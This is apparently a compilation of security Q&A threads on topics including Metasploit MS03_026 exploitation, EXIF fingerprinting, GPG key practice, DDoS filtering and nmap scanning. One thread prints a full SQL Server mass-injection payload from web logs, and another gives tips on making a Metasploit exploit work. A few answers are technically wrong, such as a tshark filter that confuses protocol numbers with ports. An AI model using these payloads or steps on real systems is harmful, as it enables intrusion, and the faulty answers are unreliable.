IPv6 Blocking my Connection to the Internet I am having problems with somebody who has either hacked or is trying to hack into my computer.

To connect to the internet I tethered my phone to either my desktop or laptop, but internet conenctivity is terrible ( I have unlimited data).

I ran the netstat -nt and this is the output

Another time

About 30 minutes ago

Please view the connetions at the bottom of each screenshot, the tcp6. I believe this is the hacker/sniffer, I am unsure what is happening.

What can I do to overcome this disruption?

Those IPv6 addresses do not see like nothing to worry about.

Probably just regular browsing that goes through IPv6. I guess you're most likely using either Chrome or FireFox which support Happy Eyeballs (https://en.wikipedia.org/wiki/Happy_Eyeballs), which in summary allows you to connect using the most responsive connection (IPv4 or IPv6), and in this case these sites support IPv6 (Actually Google, Facebook, Akamai are quite big IPv6 supporters) and this may be the reason why your browswer is picking IPv6 over IPv4.

From the addresses you show in your netstat output:

2a03:2880::/32 -> Addresses block assigned to Facebook
2600:1406:3f::/48 -> Addresses block assigned to Akamai
2607:f8b0::/32 -> Addresses block assigned to Google

You can use a BGP Looking glass to have a clue where that address belongs to. For example I recommend you to use HE BGP. For example to check one of those addresses you pointed out:  https://bgp.he.net/net/2a03:2880::/32

Hope it helps.


Cannot get access into a vulnerable Windows 2000 (MS03_026) I'm trying to get access into a Windows 2000 server through the vulnerability MS03_026. An exploit is provided by Metasploit but I don't know why it isn't working. After filling the options (basically the RHOST) and running it, it just says "Sending exploit" and return the prompt. Port 135 is wide open.

Playing with payloads, only once it worked using a meterpreter/bind_tcp, but once connected, meterpreted didn't recognize any command (well, it did recognize help but didn't show anything).

meterpreter > cd C:
[-] Unknown command: cd.
meterpreter > help
meterpreter > pwd
[-] Unknown command: pwd.

Anyway, it's not working anymore, again with the "Sending exploit" and return to the prompt.

This vulnerability is widely known, and all the resources I see shown it properly working, so I don't know what the hell may be happening here.

Run the command

meterpreter > load stdapi

and then run the commands you are trying. If the stdapi extension itself fail to load, it means the payload didn't run successfully. The reason might be AV or another host protection or the SMB service itself might be too unstable. Restart the machine if you have attempted the exploit multiple times and then try it. Also, set the correct target using the set target option in the msfconsole.


How to make a secure communication between UHF reader and UHF RFID Tag? I found some boom barriers,used for gate system, were integrated with UHF reader + access controller and a UHF stickers (attached in car's windshield) for access control using wiegand protocol.

In my review of UHF tags, its memory can be write protected but not read protected because any UHF reader can still read it, right? Therefore it is easy to clone. So how can we make this gate system with passive uhf tag be more secure from someone who wants to trespass?

Or in general, can we make a readable object, from any state, more secure?

can we make a readable object, from any state, more secure?

You need an RFID tag that uses a challenge-response protocol. The reader would send a challenge key and the card must return a cryptographic signature of the challenge key, without ever exposing the secret signing key itself in the transmission. The card should then be designed with physical tamper resistance to make it difficult, if not impossible, to extract the key from the card without damaging the card.


In Asymmetric cryptography, is the number of Private Keys limited? My question is a bit of a leading question, because I assume that the number of Private Keys is a finite number.

However, it is possible that the number is such a large number that it would theoretically never be reached.

All of this leads me to the real question I am attempting to find the answer to:

Main Question

Why not generate a private key / public key pair for one use and then delete both of them after the use?

Why Would I Want To Do That?

Let's say I want to send something private to Alice but we've never spoken before.

Alice would open the app I've developed using her phone and press a button.
This would contact my server.  The server would generate 1 private key and 1 public key.
It would send the public key to her app.
She would then see a form where she can type in the data that I am expecting from her. Then she presses a button to send the data.
The application would use the public key she received from me and encrypt the data.
the application would then also create a new private key on her phone to sign the encrypted data.
the application would then generate a public key from her private key
finally, the application would post all of that data back to my server and it would post her public key (so I can authenticate she is the one who sent the data).
after it was successfully posted it would delete her private key, the public key I sent her and the public key she just sent me.
Finally, my side of the application would authenticate the data I've received, decrypt the data and delete my private key, the public key I sent and her public key.

The Point
I would have her secure data that she wanted to send me.
The private keys used for all of this would never be able to be used again.

  This would help alleviate the problem where your private key is
  exposed since it is only used for a one-time exchange.

Why doesnt this type of ad hoc encryption occur?

Would this offer any additional layer of security since it is time-based?  Used once for this live exchange.

Would this run out of Private Keys?  Unlikely, since it just generates another value which is used for a specific time period.

Would Private Key collision occur more often?  Imagine if millions of people used an app that did this every day?  Would it cause people's data to be accidentally decrypted by someone else's private key?  Unlikely.

Would This Be A Way to Allow Ad Hoc Sharing of Private Data?

Finally, I'm curious if this would be a way to allow more of an ad hoc sharing of private data in a secure manner?

For example Alice calls Bob and needs his credit card information.

Wouldn't this be closer to the idea of a one-time pad anyways?  And offer more security?

The fundamental problem you seem to overlook here is that Alice and Bob need some secure channel to guarantee no one can tamper with the keys that are being exchanged. As explained in Cthulhu's comment, in the particular scenario you describe, a man in the middle could break the confidentiality of the messages exchanged by generating his own pair of keys and sending his own public key to Alice. One way to address this issue is to use a long-term pair of keys, which happens to be the practice you want to get rid of.

To address the otherwise catastrophic implications of leaking a long-term private key, modern cryptosystems actually generate per-session key pairs that are never stored in any permanent memory. This property of a key agreement protocol is called perfect forward secrecy. In any case, you will still need to rely on a long-term key pair to start the whole process.


Privacy risk from iPhones or other camera phones being fingerprinted by EXIF data? Asked from the Privacy sub-reddit (https://www.reddit.com/r/privacy/comments/6jllmv/privacy_risk_from_iphones_or_other_camera_phones/):

"Hi, I learned about EXIF data recently and decided to take a random picture on my iPhone 6 (iOS 10.3.2) and upload it to an EXIF data viewer website. I was surprised at how much information was present; the only info not present in the EXIF file was location data, because I have location services turned off for the camera on my iPhone.

So I wondered, because of the wealth of data on an EXIF file, would not a particular combination of data points on an EXIF file be unique to a device, meaning that that device can be fingerprinted using the EXIF data? Is this possible?

Let me provide a hypothetical scenario where this might pose a grave risk to privacy:

Person A is a relatively well-know journalist, married father of three.

Person A frequents a popular porn website where people upload intimate pictures of themselves, and A decides to upload pictures of his genitals taken on his iPhone. Only his groin area is shown, location services is off so A is content that the EXIF data has no location information, and so he happily uploads it.

Then, a while later, A goes on a trip with his family, takes a selfie, and uploads it to his Twitter account which uses his real name. Again, location services off, but obviously his public Twitter does not contain embarrassing information, so A happily uploads the photo showing his face and those of his family to his Twitter feed.

A few weeks later, a bunch of anti-Semitic trolls target A because he is Jewish. They download photos from Twitter, or from his Facebook profile where he also has some public photos, then analyse the EXIF data to come up with a unique fingerprint (wait, after finishing the rest of this post, I remembered that apparently Twitter removes EXIF data? Ok, well, just assume they don't for the sake of this story. In reality, I am sure there are other places hackers can go looking for pictures with EXIF data on them.). They search for photos with this unique fingerprint on the top 200 most popular sites, which includes the earlier mentioned porn site, and they discover his online sexual indiscretions, after a few weeks of running the automated script which searches for EXIF fingerprints.

They then use this information to blackmail him and extort money, following which they expose him anyway and email evidence of his private activities to his family, friends and the rest of the Internet.

Is that possible?

EDIT: PS-I'll admit Black Mirror's "Shut Up and Dance" episode inspired that hypothetical scenario :)
"

I answered on that Reddit page:

The answer to your question is a resounding yes.

Also, you don't even need EXIF data; even if you strip the EXIF data, some one can still link together images that have been taken by the same device using camera fingerprinting:

https://www.privateinternetaccess.com/blog/2016/11/smartphones-camera-fingerprint-allows-anyone-track-videos-pictures-back/

Also see some of the comments on this Reddit post:

https://www.reddit.com/r/Android/comments/2hol0n/remove_exif_data_before_sharing_photos_to_protect/

Especially this quote:

"EXIF data can also hold a serial number for the camera. Meaning that if you take two photos, they can be later associated as from the same shooter (e.g. one posted on an anonymous site and another posted on a non-anonymous site, someone could link the two accounts). ".

Also this quote: "Basically, every camera has some random manufacturing imperfections that result in imperceptible noise patterns in the pictures, which can be used as a fingerprint to forensically associate a picture with a camera. To get that fingerprint, you need a set of pictures taken with the same camera, which you then compare with each others to find a common noise patter, which you can then look for in other pictures when you want to know which camera has taken them.

I'm pretty sure the NSA and other SIGINT agencies already scour pictures posted to social networks for camera fingerprints and already have a database full of them.".

If you yourself have shared some very private, sensitive photos on porn sites or whatever, but also post other photos publicly with your name alongside them, you might want to consider the above points. Perhaps try to get those private, sensitive photos taken down. I know, people should have the right to feel anonymous and private online so they can take part in communities freely which they otherwise would be too embarrassed to take in real life, but right now the Internet is not designed properly for that. So, it's your choice. It's very unlikely anyone would target an ordinary guy, so I wouldn't personally worry, but it depends on your risk tolerance and threat model and who you are worried about.


How to extract the top-level of protocols into the csv file by using tshark command? Here is what I tried:
tshark -r test.pcap -T fields -e ip.proto > output.csv

But this can only show all the protocols in the csv files.

I want to show only the top level of protocol numbers such as 6(TCP), 17(UDP), 1(ICMP) etc.

Any idea please. Your help would be highly appreciated.

Use -R to apply a display filter: tshark -r test.pcap -R "port 17 or port 6"


How does an SQL injection inject HTML? I've discovered two attempts at SQL injection in my webserver logs:

declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;fetch next from @c into @a,@s;
while @@FETCH_STATUS=0
begin set @q='declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where not ['+@s+'] like ''%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0
begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 0 ''''''+char(60)+''div style="display:none"''+char(62)+''edf40wrjww2'+@a+':'+@s+'''+char(60)+char(47)+''div''+char(62)+'''''';'';exec(@s);
fetch next from @x into @f;
end;close @x';
exec(@q);
fetch next from @c into @a,@s;end;close @c--

declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';
declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;
fetch next from @c into @a,@s;
while @@FETCH_STATUS=0 begin set @q='declare @l int;set @l=44+len('''+@s+''')+len('''+@a+''');declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where ['+@s+'] like ' '%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0 begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 ''+cast(@l as varchar)+'' '''''''''';exec(@s);fetch next from @x into @f;end;close @x';
exec(@q);
fetch next from @c into @a,@s;

end;
close @c--

This is how I imagine the attack works: The first attempt tries to inject the <div> element into the webpages HTML code with the tracking code. Then,
a malicious user could easily search for the infected websites. The second try looks for the code in the DB and then tries to extract information from it (?).

I've also searched the web for this code and it looks like there are quite a lot of websites infected (about 200, mainly Chinese) and you could see the "breadcrumb code" in their source codes.

My questions are:

If the first injection injects the code into the DB, how does the HTML code "travel" from the DB to the actual HTML source code?
What is the attacker exactly trying to do with the second attempt? Add row/column values to the infected fields with UPDATETEXT and extract info in such a way?

Clever.  I believe the idea is that it attempts to perform SQL injections against web pages targeted at SQL Server.  The idea is that successful SQL injections can be discovered by determining if they propagate out to web pages.  Any data / fields etc. that are leveraged by a web application or page will now display the unique string.  They likely look for the string immediately (reflected), as well as scanning the application or site afterwards (stored SQL injections).  One can even leverage your favorite search engine to find them (as you discovered).  Commercial web scanners use a similar technique to tag injections.

The first script updates all the fields in the DB with a unique string (edf40wrjww2) wrapped by some HTML.   The second script runs through all the fields updated by the first script and appends on specific information about the table and column that was compromised.  Not sure why this is split into two scripts - it might be to reduce the injection length, or to make sure that the length of the column can at least fit the tag.

If you use SQL Server you may want to check your DB for this string.


Correct way to replace a GPG key I want to create a new GPG key with a longer key size.
What are the best ways to replace the key?
My current key is associated with a lot of stuff like GitHub etc.
Should I revoke my old key and sign the new one with the old?
So what's the best way to do it.

On your question

I see by inspection of your keys that are posted on public key servers, that you have already posted your revocation certificate for your old key.  The revocation certificate includes the fingerprint of the new key.  So, your method seems acceptable, and probably better than many other attempts at the key rollover process.

Personal key management is mostly an opinion based exercise.  Recommendations abound, and some seem better than others.  Cross-signing the public keys is probably a better method without resorting to a third party identity tracking service such as keybase.io

It's usually a good idea to revoke keys only when absolutely necessary, such as a lost private key or a compromised key.  Modern gpg implementations create a revocation certificate as part of the key generation process.  On my Debian Buster system, those certificates are automatically stored in ~/.gnupg/openpgp-revocs.d  So, as long as one keeps the revocation certificate, one can revoke a posted public key at will regardless of whether or not one remembers the passphrase or has the private key.

Expiring old keys rather than revoking them is probably a better method, because the expiration date on a pgp key can easily be changed at will and posted to a public key server without permanent repercussions.

Lastly, always keep the old keys.  Don't discard the private keys thinking that you won't need them anymore.  All old messages encrypted with old public keys will not be accessible without the old private keys.

On public key servers

Anyone can post any public key to a public key server.  So, it's not a good idea to blindly trust keys discovered on public key servers.  The key servers are also littered with old, compromised, expired, and revoked keys.  It's very difficult to figure out or verify that a given key on a key server is the correct and current key for communication with the identity information listed on the key.

The original idea was that people with keys would get together in person-to-person meet-ups called key signing parties to sign each other's keys and build a web of trust.  However, key signing parties are not that common and most keys I've come across are simply self-signed with zero other signatures.  So, in general practice, the web of trust doesn't work out so well to determine which key belongs to which identity and which key is the most current key.

These problems are a few which keybase.io has been trying to solve.  Keybase replaces the person-to-person web of trust with verified identity tracking across third party web services such as Github.  However, effective use of keybase requires that one maintain third party accounts on web services that track you.  So, online anonymity takes quite a huge hit with keybase use.  Some may say it's an acceptable trade off, and some may not wish to accept that trade off.


Possible virus hogging bandwidth My computer might have a virus infection. I have used Norton Internet Security and Power Eraser to scan the computer but it still did not work.

The traffic on my PC looks like this

I used resource manager to check the program that is causing this and here it shows me this

TCPSVC.exe is a legit service by Microsoft.

There are more of it and each displaying different IP address.

I have captured the the packets with Wiresharks for 3 seconds there were many outgoing traffic. I suspect that my computer is part of a DDOS Botnet.

Link to Wireshark capture

I need advice from the wise ones.

I'm not a malware expert, but I know that blackhats tends to use a small spoofing technique by calling their malware a name that is used by the system, in order to not raise the user's attention. Also, all anti-viruses can be bypassed by performing different encoding methods that makes the malware undetectable. But of course, Anti-viruses companies are doing their best to protect users.

The IP that your device connected to is not connected to Microsoft. So try to make a WhoIs against the IP and contact the authorize if possible.

Also, since all package going from your device are the same and in useless pattern (such as abcdefg), I guess your device is used as a zombie for DDoS.


Have computer criminals been known to exploit easily-edited websites like Wikipedia to embed malicious scripts? When I was reading a page on Wikipedia several months ago (December 2014) I saw what looked like a pop-up window from BT, but I soon realized that when I closed the page the pop-up disappeared. I then opened Firebug and inspected the box and saw that it was actually part of the webpage itself and that clicking its confirmation button would take me somewhere I didn't want to go. It was very cleverly disguised to look real.

I've never before seen anything like this. Is this the only case or has this been known to happen? I've provided a screenshot to show what it looked like:

Assuming that you are coming from a BT connection, it's possible that this is part of the BT parental controls program.

There is a discussion of a similar looking pop-up here , which seems to tie into what you're seeing, and also a thread here on the BT site which has a link to a process to turn off that setting.

To test this theory you could log into your account and opt-out of parental controls. I wouldn't advice doing it from any link presented in the pop-up in case it is malicious though.

Once you've done that try accessing the same page to see if the issue re-occurs.

Another way to test it would be to access the site over HTTPS as then they shouldn't be able to inject any content unless they've installed a trusted root certificate in your browser, for which you would have needed to install BT software on the affected system.

As to your original questions about criminals injecting content into legitimate websites, this is a common vector of attack, either via compromise of the website (e.g. through exploitation of outdated software) or via content injected into the site such as adverts (this is common enough to have its own Wikipedia definition "malvertising")

As to whether it could happen to Wikipedia, I'm not aware of that occuring and with Wikipedia being such a well trafficked site, I'd expect it to be a large target.


GnuPG/OpenPGP Key Practices I'm looking for input on GnuPG (gpg) best practices.  It's been discussed some on the gnupg-users mailing list, but I wanted to get as diverse a view as possible, so I thought to bring the topic to the experts here at SE.

I'm in the process of transitioning e-mail accounts and thought it would be a great time to also transition my GPG key.  I currently have a RSA-4k key that is used for sign, certify, and encrypt all in one.

My current thoughts are to generate a new key with a certify-only primary key that would be kept offline and separate encrypt & sign subkeys for daily use.  I think this would allow my Web of Trust to grow best while still protecting my data.  Additionally, it would separate my encryption & signing in the (unlikely) event I am ever forced to hand over one key.

Are there pros/cons that I have not considered?  Is it better to go with RSA3k in case I ever decide to use a smart card?

On a theoretical basis, what you envision is the "right way": a primary most-secure key which is used only to certify or revoke the keys which you will actually use. In practice, however, revocation does not work well: people with whom you have already exchanged emails will keep a copy of your public key, and will not be automatically notified of your revocation.

You may want to have distinct storage procedures for your encryption key and your signature key. If you lose your encryption private key (e.g. harddisk crash) then you can no longer decrypt incoming emails, including those that you have already received. So the encryption key should be backuped somewhere. On the other hand, the signature key should not be backuped anywhere: losing the signature private key is a minor inconvenience (you just have to create a new key and certify it) but it does not invalidate previously emitted signatures, which keep on being verifiable.

4096 bits, or even 3072 bits, are overkill for RSA, DSA or ElGamal. 2048 bits are already more than enough to ensure security against attackers who use Earth-based technology. Stating that longer keys are "more secure" is pure speculation on what future unknown attacks may look like, and if we knew how they looked like, they would not be unknown.


Is jQuery.val() enough to prevent XSS Is obtaining the value of a textarea/input with the jQuery function .val() XSS-proof?

<html>
    <textarea id="t1"></textarea>
    <script>
        var toBeDisplayed = $('#t1').val();
        $('#elem').html(toBeDisplayed);
    </script>
</html>

As Gumbo mentioned in his comment, it does not matter what you read in, but it does matter what you display after the fact. To simply answer your question, no. jQuery's .val() does not have any filtering that will protect you from XSS. You could perhaps take in the value into var toBeDisplayed and then perform your own filtering before it gets relayed to be displayed again.


What is the security implication of a weak SSH host key? If a box is using a weak SSH host key (lets say 1024-bit RSA), what kind of attacks is the box vulnerable to?

In short, the Man In The Middle Attack. If the host key is too small and the attacker would be able to factor the number, re-create private key and possibly make a user send his password (or forward public key authentication) and get the access of respective user on that server.

Though we are not there yet and 1024 bits were not yet officially factorized (recently 768 bits were factorized in 2009), but the gap is close and we can expect that there are agencies with similar computation power to factorize 1024 bits or so.


PCI-DSS Network Segmentation and encrypted administrative interfaces I'm using the 3/2/1 network segmentation model from the open pci dss scoping toolkit and I'm running into a bit of a mental roadblock. I have a phone system (Mitel 5000 series, if it matters) that is on my segmented internal network.

The phone system appears to be firewalled. nmap shows only standard web and SSH management ports. However this system technically is level 1 as we do take a large number of calls that contain cardholder information.

Based on the toolkit this is technically a breach since L3 systems can potentially access a L1. At the same time the only access across the network is encrypted management traffic. That meets the PCI-DSS specs for any publicly available network.

How do I treat this situation? Why?

Note - I'm aware that the QSA is the final answer on this as any PCI related question. I'm looking more for best practice and the logic behind it for these kind of cases.

The telephony network is in scope because it transmits cardholder data. The telephony network appears to be on it's own network segment (L1) with controlled access only for administration.

You could use a bastion host for administration of all L1 systems. The bastion host could be located in its own L2 segment. This bastion host could be used by L3 systems as an administrative proxy for systems in L1/L2 segments. Access to the administrative interfaces could be limited to that bastion host only.

The above would also suit for a remote worker. That worker would use two-factor authentication to access the internal network then use a session on the bastion host to manage systems within the L1 and L2 networks.

While the Open PCI Scoping Toolkit has its merits for guidance, if you follow it strictly I find it loses some sense.

It's worth remembering that the next version of the PCI DSS will be released in October of this year (2013) and will probably have new requirements such that segmentation will no longer be adequate and isolation will be required. In your example above, you may have a trusted cardholder data environment and a fully separate untrusted corporate environment which would require two-factor authentication and separate authentication systems. More detail on this should be available in September.


IPTables DDoS protection working with per client IP address counter AND UDP I am looking to protect LAMP server with a software, which will detect above average number of requests from single IP numbers (in this case DNS queries), and add these hosts to IPTables deny chain.

So in case my Bind / Centos DNS server will handle denial of service in form of stream of UDP packets from multiple host at once, there is 10GBps interface on this machine to handle large amounts of incoming packets, and the ip tables can handle many hosts.

Is there any tool / method to actually do it? I know there is LOG, should I use this, or there is some module which would be better fit for this?

Simply each IP number with excess rate of UDP queries above some no. of requests per second is added to the blacklisted file, and based on that file IPTables chain is generated.

So my question is, how to log excessive rates from particular hosts and log them, and make it high performance, assuming all IPv4 numbers would fit into RAM?

The main thing would be to count no of packets / sessions / opened connections during hour from a single host and blacklist them.

I am looking for example source code / IPTABLES rules for port 53 which would allow 1000 requests per hour from single IP address to DNS server with Bind.

Also to keep the whitelist of permitted hosts at the same time, so during attack I can blacklist everyone while the most used DNS servers are OK, this would work in case the attacked is spoofed and every request comes from different IP address which should be also detected.

I cant make anycast service at the moment, however I need some protection on DNS to avoid DDoS, which happens from time to time.

UPDATE: There is Cisco Guard product actually doing the same, but I want this on every Linux machine. It is because Linux can handle it, so this is only problem of good software to do it.

You can put a cap on number of request from an IP by using mod_security, as explained here:

https://secure.jwall.org/blog/2009/07/19/1248004300834.html

Having said that, this solution is far from perfect as, in case of application level DDoS attack it can lead to:

A.) Blockage of legal requests that come from the same IP range (i.e. trojan botnet)

B.) Success of a large multi-node attack in which each IP supplies only a small amount of request (under set threshold) and thus will not be blocked.

Also, this will do nothing at all against network DDoS (i.e. SYN Flood) that uses spoofed IPs as, in this case, you don't even need to establish a full 2-way connection for the DDoS to work.

More about IP spoofing and IP DDoS Protection

To stop this you`ll need to have some kind of front-gate reverse proxy in place, to prevent access until full 2-connection is established (ACK received).


How to Protect JSON Data Hi I am using JSON on User Interface side. I want to protect that data. What are the possible ways I can protect my JSON. I have a scenario where I am having JSON Object with data on User Interface side. While performing update operation using jquery postback I am updating the JSON data and sending it back to the server. My concern here is how can I save JSON object from users to append any new object in the existing JSON object. I hope i am clear about my requirement .

After some clarification in the comment I guess I can see where we're heading. You need data integrity protection. Digitally sign the json data using a hash algorithm (md5, sha-1, etc) and put the sign inside the json file. Next you need some sort of mechanism identyfing whether the data was forged or not.


Encrypting using the private key in Identity-Based Cryptography In normal asymmetric crpyto like RSA, if Alice encrypts something using her private key, Bob can decrypt it using Alice's public key. Is the same possible in Identity-Based Cryptography, where the public key is usually the user's email address?

So if Alice encrypts something using her private key, can Bob decrypt it using her email address?

I am asking this because in all the literature I have come across, it says that Encrypt operation encrypts messages using the public key ID, and Decrypt operation decrypts messages using the corresponding private key.

So I think I have a complete grasp on the question, and IBE.  I'm going to attempt an answer.  There is an end to my madness.

IBE is based on bilinear pairings in cryptography.  Page 23 of that paper is where they start talking about pairings, but I think the whole paper is relevant.  A pairing scheme often used by IBE is Weil Pairing (also described in that document).  These are based in elliptic curves math magic.

Elliptic curves are a lot like Diffie Hellman in that they're both based in the discrete log problem.  Here's a question and answer as to why DH can not be used for digital signatures.  There are some digital signature schemes that use Elliptic curves as a base, but additions are needed (such as hashing algorithms).  ECC Based Digital Signature Schemes.

My line of thinking is that the statement "Alice encrypts with her private key." is not as simple as it seems.  Like Elliptic curves and DH, a pairing can be generated for a given input.  But you first need to have the input in order to get the generated private key.  Which implies that encrypting with the private key would not result in a successful decrypt by the public key.  In the same way that you have separate decrypt and encrypt functions in some modes of symmetric encryption.

I'm not saying that you can't provide a means for this.  There are standards out there for ECC based IBE Signatures (RFC 6507), but they have to be built into IBE scheme for such verification to work.

I learned something in all this, my previous comment about public key cryptography concepts generally the same was completely wrong.  I hope this answers your question.  I tried to keep Wikipedia articles to a minimum :)


Does DNSSEC provide signed statements that a certain domain does NOT yet support DNSSEC? If not, why not? In my security class with David Wagner, we talked about some of the reasons why DNSSEC is not widely adopted right now. One of the reasons was that for backward compatibility reasons, clients need to accept both signed DNS records and unsigned ones. This means that websites have little incentive to start supporting DNSSEC, as a MITM can spoof a DNS record simply by not including a signature.

It seems that an easy solution to this would be to provide signed statements that a website does not currently support DNSSEC, similar to the way signed negative responses work for subdomains.

Is this a part of DNSSEC, and if not, why not? What other solutions are there to this problem / is it a problem?

This means that websites have little incentive to start supporting DNSSEC, as a MITM can spoof a DNS record simply by not including a signature.

This is incorrect. If a MITM attacker sends a result without a signature to a client that supports DNSSEC, the resolve will fail. This is because there is a signed DS record for that domain returned by the TLD's nameservers. The MITM attacker cannot also strip that record, as (s)he will then need to provide a response will a valid signed NSEC/NSEC3 record proving that the requested DS record doesn't exist. This is impossible without obtaining the TLD's (or root's) private key.

It seems that an easy solution to this would be to provide signed statements that a website does not currently support DNSSEC, similar to the way signed negative responses work for subdomains.
Is this a part of DNSSEC, and if not, why not? What other solutions are there to this problem / is it a problem?

There is no specific record responsible for domains that don't support DNSSEC. Instead, the server will prove that the DS record (which indicates the domain uses DNSSEC) doesn't exist.

One of the reasons was that for backward compatibility reasons

The EDNS specification is fully backwards compatible. As DNSSEC uses EDNS, it is also fully backwards compatible. Clients that don't support DNSSEC simply won't request (and the server won't respond with) DNSSEC signatures. These clients will not receive the benefits of DNSSEC, but will be able to query DNSSEC signed zones with no problems. The use of DS records on the root nameservers and the TLD nameservers allows for TLDs and domains to not be signed without any issues (However, such TLDs/domains will obviously not receive the benefits of DNSSEC).


How does Nessus know which services are running in a host? I'd like to know how does a vulnerability scanner such as Nessus know which services are running, once it has scanned the ports. I don't want to know the steps to do this in Nessus, I want to know what is that Nessus (or any other scanner) does.

Is it that if it finds the port 20 tcp open, it show the ftp service? This wouldn't be precise since I could be running an http service in the port 20. Any ideas or do you know somewhere I can get this information?

Thanks!

It really depends on the type of scan you are performing...

By default, Nmap scans report these services by making a guess based on the its nmap-services table. The nmap-services file is a registry of port names to their corresponding number and protocol. Each entry has a number representing how likely that port is to be found open. This file was originally based off the IANA assigned ports list at http://www.iana.org/assignments/port-numbers, though many other ports have been added over the years.

Version Scan

The Nmap version scanning (-sV) subsystem obtains application versions and other data by connecting to open ports and interrogating them for further information using probes that the specific services understand. More info on this service probes database can be found here. This allows Nmap to give a detailed assessment of what is really running, rather than just what port numbers are open. There is also support for community contributions -- if Nmap gets data back from a service that it does not recognize, a service fingerprint is printed along with a submission URL. The output will look something like this:

PORT    STATE  SERVICE  VERSION
22/tcp  open   ssh      OpenSSH 4.3 (protocol 2.0)
25/tcp  open   smtp     Postfix smtpd
80/tcp  open   http     Apache httpd 2.2.3 ((CentOS))
113/tcp closed auth
443/tcp open   ssl/http Apache httpd 2.2.3 ((CentOS))
Service Info: Host:  web.insecure.org

Banner Grabbing

It is also possible to perform banner grabbing on the services running on various ports by using Nmap's scripting engine and making use of the banner grabbing script. The output while using banner grabbing will actually include the banners supplied by the services:

21/tcp open  ftp
|_ banner: 220 FTP version 1.0\x0D\x0A

More details on Application and Version detection can be found here.


Security of Openflow/SDN network Openflow/SDN networks give a remote controller the ability to manage the behavior of network devices i.e. configurations. They can forward instruction sets to dynamically change network configuration.

My concern is that if I opted to deploy an openflow compliant switch than what are the security risks involved.

Openflow and SDN is in no way different from other control mechanisms for network equipment. It's up to the administrator of a network how he decides to secure the equipment. The connection between the Openflow capable switch and the controller can run over TLS, and can even be authenticated by SSL certificates. Thats gives you the same level of security as you have with e.g. key based SSH connections. From this perspective the level of security is comparable.

But keep in mind that if the trust relationship between the controller and the switch is established, the control capabilities the controller has will be much broader and more granular than a manual or automatic configuration of existing switch features can be. Therefore there is some room for bugs and failures in your SDN application.


Preventing SSL strip attack Is it possible to detect a SSL strip attack by checking whether the page delivered is HTTPS or HTTP using JavaScript? I am assuming that the response page is HTTPS page instead of HTTP?

You may want to look into setting your webserver to HSTS (Strict Transport Security) which uses a special response header to tell the browser to only accept https traffic.  Full Disclosure:  As you might have expected, IE support < 11 I believe is limited.  If you must use something client-side to check for https I think you could use window.location.protocol.


How does the quarantine of anti-virus/malware software work? What is the quarantine of antivirus software? Is it just some strict user/group rights and changing file extension or is it an actual moving the file(s) to a virtual environment?

How is this software preventing a virus from executing or breaking out of such a sandbox/quarantine?

Many AV function the same way but may have different specific mechanisms of action. In general they work like this:

  When MBAM removes an item such as a file or a Registry entry and
  "quarantines" the item, it is removed from its original location and
  stored in a protected container. Both the removed item and it location
  are stored in the container in a way that the file is rendered inert
  and the location of where it was removed from is also restored. Thus
  if it is deemed to be a False Positive declaration, the item removed
  (file or Registry entry) can be restored to its original and working
  state. If however the item(s) are deemed to be justly removed for
  malicious activity, the quarantine can be "dumped" such that can not
  be restored and the container no longer holds any more quarantined
  items or you can choose to be selective on what is dumped from
  quarantine.

SOURCE

There is also another post on the InfoSec SE that has some additional info:

  In most anti-virus programs, the quarantine files are stored in
  internal binary formats. Since there is no physical connection between
  the infector file to your system (your anti-virus program works as the
  storage format is also a plus point), it is not dangerous.


how to check if remote host is running LDAP server? I am currently pen-testing a remote website (its mine)

I would like to know if its possible to test if the web-server is running LDAP server.
I tried Nmap with no luck(it lists every port from 1 to 65389).
e.g

PORT      STATE    SERVICE
1/tcp     open     tcpmux
3/tcp     open     compressnet
4/tcp     open     unknown
6/tcp     open     unknown
7/tcp     open     echo
9/tcp     open     discard
13/tcp    open     daytime
17/tcp    open     qotd
19/tcp    open     chargen
20/tcp    open     ftp-data
21/tcp    open     ftp
22/tcp    filtered ssh
23/tcp    open     telnet

If it's your server, you will know just by looking at the running services. When you are there, run netstat and probably you will see LDAP listening only on localhost.

Remotely, if the server is listening on localhost, you cannot know just by running nmap, the port will not answer for the public interface. You cannot access it even if it's running.

What you can do is use the NMAP FTP Bounce to scan the internal network.

PS: if this is your server, why would you run chargen, daytime and so? I haven't seen any legit use of those services since last century...

PPS: The last possible TCP port is 65535, not 65389...


Is "real salt" the same as "initialization vectors"? In the question about real vs. fake salt, the answers describe how real salt 'perturbs the encryption algorithm.' I know roughly how initialization vectors work; is this the same concept, or something different entirely?

A salt and an initialization vector are mostly the same thing in the following sense: they are public data, which should be generated anew for each instance (each hashed password, each encrypted message). A salt is about being able to use the same password several times without opening weaknesses; or, if you prefer, preventing an attacker from sharing password attack costs in case the same password could have been used on several instances -- which is all what precomputed (rainbow) tables are about. The point of an IV in, say, symmetric encryption with CBC, is to tolerate the use of the same key to encrypt several distinct messages.

